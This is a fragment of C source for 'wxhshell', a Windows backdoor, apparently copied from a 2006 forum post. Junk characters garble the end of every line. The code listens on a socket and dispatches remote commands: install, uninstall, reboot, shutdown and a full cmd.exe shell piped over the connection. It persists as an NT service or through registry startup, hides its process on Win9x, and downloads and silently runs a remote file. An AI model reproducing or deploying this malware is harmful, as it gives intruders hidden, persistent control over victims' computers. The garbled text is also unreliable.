  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,{c9Lv%@J  
  } u+s#Fee I  
  else { ',0~\V  
uL b- NxQ-  
    switch(cmd[0]) { $B4}('&4FQ  
  -!MDYj+U  
  // 帮助 )dLESk  
  case '?': { d{0 w4_x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ta!.oC[  
    break; w\_NrsO!x  
  } mN?'Aey  
  // 安装 `q eL$`  
  case 'i': { m7kDxs(KO  
    if(Install()) Qd!;CoOmZs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aQN`C {nY  
    else B>o\;)l3O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O6OP{sb  
    break; 1q~U3'l:$  
    } PZpwi?N  
  // 卸载 5%?La`C9[  
  case 'r': { SBjtg@:G0n  
    if(Uninstall()) N>Y`>5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ER5Q` H  
    else v5w I?HE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dWD,iO_"@  
    break; %8$JL=c  
    } W\U zw,vI  
  // 显示 wxhshell 所在路径 'A !Dg  
  case 'p': { )dF(5,y)  
    char svExeFile[MAX_PATH]; gKb4n Nt  
    strcpy(svExeFile,"\n\r"); R_vZh|  
      strcat(svExeFile,ExeFile); *&UVr  
        send(wsh,svExeFile,strlen(svExeFile),0); 7!oqn'#>A  
    break; ~c?yHpZx%  
    } }jiqUBn%  
  // 重启 92Ar0j]  
  case 'b': { ~JLqx/[|s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ; tvB{s_  
    if(Boot(REBOOT)) J~gfMp.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r-N2*uYtu  
    else { !kASEjFz|f  
    closesocket(wsh); 8ZG'?A+{  
    ExitThread(0); 5Tu#o ()  
    } |,sUD/rt  
    break; f[.hN  
    } :1Fm~'  
  // 关机 ;%dkwKO  
  case 'd': { 7U.g4x|<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1LPfn(  
    if(Boot(SHUTDOWN)) D<++6HN&#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hD >:WJ  
    else { 0^ E!P>  
    closesocket(wsh); &@+K%qW[e  
    ExitThread(0); "mPa >`?  
    } {]D!@87  
    break; y\0^c5}  
    } bq(*r:`"  
  // 获取shell /mD KQ<  
  case 's': { -'}iK6  
    CmdShell(wsh); cWRB=`=qz  
    closesocket(wsh); lf|^^2'*2<  
    ExitThread(0); ['R=@.  
    break; Plq [Ml9  
  } "apv)xdW  
  // 退出 uqQMS&;+,|  
  case 'x': { $\^]MxI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <q[ *kr  
    CloseIt(wsh); e#nTp b  
    break; rM=Hd/ki5  
    } f "&q~V4?  
  // 离开 ok6e=c '  
  case 'q': { J$EEpL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GrQl3 Xi  
    closesocket(wsh); +] 5a(/m.~  
    WSACleanup(); bR8)s{p6  
    exit(1); E,6E-9  
    break; /Hx0=I  
        } ^U`q1Pg5  
  } $`=?Nb@@#  
  } s lI)"+6  
hPk+vvXtK  
  // 提示信息  aZ0H)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %@xYg{  
} F Q k;  
  } -{7N]q)}  
>u/yp[Ky  
  return; u?J(l)gd  
} )?xt=9Lh  
&qpA<F@7  
// shell模块句柄 ~%}g"|o  
int CmdShell(SOCKET sock) [`b{eLCFX]  
{ (qG$u&  
STARTUPINFO si; mY AFruN  
ZeroMemory(&si,sizeof(si)); *FE<'+%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3AL.UBj&}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N-Z 9  
PROCESS_INFORMATION ProcessInfo; Grub1=6l  
char cmdline[]="cmd"; B~ez>/H^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w[+!c-A:H  
  return 0; >lj3MNSH  
} xD#/@E1'Y  
Bf}_ Jw-=  
// 自身启动模式 s6]f#s5o  
int StartFromService(void) l )4OV>  
{ ' FK"-)s  
typedef struct SeTU`WLEm  
{ evR=Z\ _  
  DWORD ExitStatus; l^"G\ZVI  
  DWORD PebBaseAddress; :ox CF0Y  
  DWORD AffinityMask; eo80L  
  DWORD BasePriority; cs5Xd  
  ULONG UniqueProcessId; onlyvH4  
  ULONG InheritedFromUniqueProcessId; Mzd}9x$'J  
}   PROCESS_BASIC_INFORMATION; B dKwWgi+a  
pZjFpd|  
PROCNTQSIP NtQueryInformationProcess; :Rn9rdX  
Cf N; `  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dWUu3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y*D 8XI$  
b2Hpuej  
  HANDLE             hProcess; DNy)\+[  
  PROCESS_BASIC_INFORMATION pbi; S=2,jPX2r  
cjW]Nw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L}mhMxOTi  
  if(NULL == hInst ) return 0; )/JC.d#  
d0^2<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ivq4/Y] -X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S!]}}fKEFm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); smU+:~  
zyr6Tv61U  
  if (!NtQueryInformationProcess) return 0; r:cUAe7#  
%([c4el>\F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xpk|?/6  
  if(!hProcess) return 0; I}WJ0}R  
\) ;rOqh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; On^#x]  
kYAvzuGRb  
  CloseHandle(hProcess); cjXwOk1:s  
)3AT=b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }0( Na  
if(hProcess==NULL) return 0; X`b5h}c  
A M2M87{t  
HMODULE hMod; z#4g,)ZX  
char procName[255]; B (falmXJ  
unsigned long cbNeeded; /HRaX!|E#  
FScQS.qF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1N+#(<x@,  
KB = z{g  
  CloseHandle(hProcess); BR2y1Hfi  
K5SO($  
if(strstr(procName,"services")) return 1; // 以服务启动 y#+o*(=fRE  
l+6(|"md  
  return 0; // 注册表启动 qpl5n'qHUc  
} !UTJ) &  
"}! rM6 h  
// 主模块 Z3dd9m#.]  
int StartWxhshell(LPSTR lpCmdLine) d3GK.8y_z  
{ x8Sq+BY  
  SOCKET wsl; ,k!a3"4+TJ  
BOOL val=TRUE; ^&iV%vQ[  
  int port=0; 1RA$hW@}  
  struct sockaddr_in door; e`r;`a&  
I8?[@kg5b'  
  if(wscfg.ws_autoins) Install(); kP$g l|  
YW<2:1A|  
port=atoi(lpCmdLine); p/h&_^EXU  
cAS_?"V a  
if(port<=0) port=wscfg.ws_port; b U NYTF{  
jhv1 D' >6  
  WSADATA data; M-N2>i#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h>:RCpC  
M;qL)vf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Oq6n.:8g"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fh#_Mj+y  
  door.sin_family = AF_INET; I0K!Kcu5Iu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )\vHIXnfJ1  
  door.sin_port = htons(port); moR2iyO_  
e-9unnk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I&8m5F?$`  
closesocket(wsl); <R>z;2c  
return 1; 5#.\pR{Gd  
}  2p>SB/  
YS~t d+*  
  if(listen(wsl,2) == INVALID_SOCKET) { OPW"AB J  
closesocket(wsl); `aL|qyrq#  
return 1; CDj Dhs  
} fhKiG%i'l  
  Wxhshell(wsl); bK\WdG\;  
  WSACleanup(); V(LFH9.Mp  
#Hi]&)p_  
return 0; RJwIN,&1.  
#G` ,  
} NxO^VUD  
+wozjjc  
// 以NT服务方式启动  /;6@M=6u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ii y3  
{ h6y4Ii  
DWORD   status = 0; (M,VwwN  
  DWORD   specificError = 0xfffffff; J+jmSK%z  
s}9tK(4v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p''"E$B/(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KTjlWxD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @B[Cc`IN"  
  serviceStatus.dwWin32ExitCode     = 0; ]^jdO##M  
  serviceStatus.dwServiceSpecificExitCode = 0; 9,f<Nb(\  
  serviceStatus.dwCheckPoint       = 0; 9+ l3 $  
  serviceStatus.dwWaitHint       = 0; 8sIA;r%S  
X|E+K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RS `9?c:  
  if (hServiceStatusHandle==0) return; 9<h]OXv  
D%UZ'bHN*  
status = GetLastError(); 4z%#ZIy3   
  if (status!=NO_ERROR) ~vSAnjeR  
{ ?7MwTi8{F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 92]ZiL?k  
    serviceStatus.dwCheckPoint       = 0; rjHIQC C  
    serviceStatus.dwWaitHint       = 0; RE $3| z  
    serviceStatus.dwWin32ExitCode     = status; kgapTv>q  
    serviceStatus.dwServiceSpecificExitCode = specificError; uO@3vY',n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "lz[zFnO  
    return; b>= Wq  
  } ^M"z1B]  
XL PpxG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DwmU fZp  
  serviceStatus.dwCheckPoint       = 0; 9/ 1+BQ  
  serviceStatus.dwWaitHint       = 0; nt0\q'&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mp"'?zf  
} qJ+52U|z  
Afy .3T @)  
// 处理NT服务事件,比如:启动、停止 zf3:<CRX5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4Kn9*V  
{ y (nsyA  
switch(fdwControl) ]osx.  
{ / $9 :L  
case SERVICE_CONTROL_STOP: R'I_xjC  
  serviceStatus.dwWin32ExitCode = 0; a We Bav}_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }\f(qw  
  serviceStatus.dwCheckPoint   = 0; twtkH~`"Q  
  serviceStatus.dwWaitHint     = 0; J, 0pe\5  
  { E {KS a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TD{=L*{+  
  } /MKNv'5&!%  
  return; 8pk#sJ51  
case SERVICE_CONTROL_PAUSE: nx-1*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z.:<TrN  
  break; Ni!;-,H+E  
case SERVICE_CONTROL_CONTINUE: $89ea*k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 97Zk P=Cq  
  break; ZUXse1,  
case SERVICE_CONTROL_INTERROGATE: L$lo~7<]  
  break; n{64g+  
}; 4@v1jJj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ,v*p  
} _,_8X7  
*H5PT  
// 标准应用程序主函数 F?b'L JS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) < TR/ `  
{ ,@Fgr(?'`>  
+ze}0lrEL  
// 获取操作系统版本 }dX/Y /  
OsIsNt=GetOsVer(); crd|2bjp+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2cCWQ"_,  
S<eZd./p6  
  // 从命令行安装 @7@e`b?  
  if(strpbrk(lpCmdLine,"iI")) Install(); lf%b0na?r  
_%wK}eH+sy  
  // 下载执行文件 ]{!!7Zz  
if(wscfg.ws_downexe) { ! Ea&]G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h; 'W :P  
  WinExec(wscfg.ws_filenam,SW_HIDE); -F"d0a,  
} vpm ]9>1[  
D =r-  
if(!OsIsNt) { 4}Q O!(  
// 如果时win9x,隐藏进程并且设置为注册表启动 )=jT_?9b   
HideProc(); xLx"*jyL  
StartWxhshell(lpCmdLine); ;Z ]<S_#-  
} 3ppuQ Q  
else K??1,I  
  if(StartFromService()) g/IH|Z=A  
  // 以服务方式启动 [_WI8~g Y  
  StartServiceCtrlDispatcher(DispatchTable); hZAG (Z  
else b fp,zs  
  // 普通方式启动 umQi  
  StartWxhshell(lpCmdLine); n{dP@_>WS  
M#OH Y *  
return 0; QXdaMc+Ck  
}
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只看该作者 1 发表于: 2006-10-10
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